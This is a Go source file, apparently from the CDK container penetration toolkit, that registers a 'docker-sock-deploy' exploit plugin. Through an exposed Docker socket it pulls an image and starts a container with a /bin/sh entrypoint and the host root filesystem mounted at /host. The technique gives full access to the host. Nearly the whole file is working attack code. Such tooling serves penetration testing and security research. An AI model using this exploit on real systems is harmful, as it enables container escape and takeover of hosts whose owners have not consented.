package exploit

import (
	"fmt"
	"github.com/cdk-team/CDK/pkg/cli"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/util"
	"log"
	"regexp"
	"strings"
)

// http post body for Docker API exploit
// https://docs.docker.com/engine/api/v1.24/#31-containers
var pData = `
{
	"Image": "<IMAGE>",
	"Hostname": "",
	"Domainname": "",
	"User": "",
	"AttachStdin": true,
	"AttachStdout": true,
	"AttachStderr": true,
	"Tty": true,
	"OpenStdin": true,
	"StdinOnce": true,
	"Entrypoint": "/bin/sh",
	"Volumes": {
		"/host/": {}
	},
	"HostConfig": {
		"Binds": ["/:/host"]
	}
}
`

// APIs Ref https://github.com/AbsoZed/DockerPwn.py/blob/master/createContainer.py
// curl --unix-socket /var/run/docker.sock http://127.0.0.1/info
func DockerAPIRun(path string, image string) {
	log.Println("trying to run image:", image, "on target host.")
	pData = strings.Replace(pData, "<IMAGE>", image, -1)
	ans := util.UnixHttpSend("post", path, "http://127.0.0.1/containers/create", pData)
	log.Println("Docker API response:")
	fmt.Println("\t" + ans)

	// get container id
	pattern := regexp.MustCompile("[A-Fa-f0-9]{64}")
	params := pattern.FindStringSubmatch(ans)
	if len(params) > 0 {
		log.Println("container ID: ", params)
	} else {
		return
	}

	// start container
	containerID := params[0]
	log.Println("starting container:", containerID)
	ans = util.UnixHttpSend("post", path, "http://127.0.0.1/containers/"+containerID+"/start", "")
	log.Println("finished.")
}

func DockerAPIPull(path string, image string) {
	log.Println("trying to pull image:", image)
	ans := util.UnixHttpSend("post", path, "http://127.0.0.1/images/create?fromImage="+strings.Replace(image, ":", "&tag=", -1), "")
	log.Println("Docker API response:")
	fmt.Println("\t" + ans)
}

// plugin interface
type DINDAttackDeployS struct{}

func (p DINDAttackDeployS) Desc() string {
	return "deploy image to target host and mount host dir `/` to container `/host` usage: ./cdk docker-sock-deploy <sock_path> <image> example: ./cdk docker-sock-deploy /var/run/docker.sock alpine:latest"
}
func (p DINDAttackDeployS) Run() bool {
	args := cli.Args["<args>"].([]string)
	if len(args) != 2 {
		log.Println("invalid input args.")
		log.Fatal(p.Desc())
	}
	sock := args[0]
	image := args[1]

	log.Println("checking docker socket:", sock)
	CheckDockerSock(sock)
	DockerAPIPull(sock, image)
	DockerAPIRun(sock, image)
	return true
}

func init() {
	exploit := DINDAttackDeployS{}
	plugin.RegisterExploit("docker-sock-deploy", exploit)
}
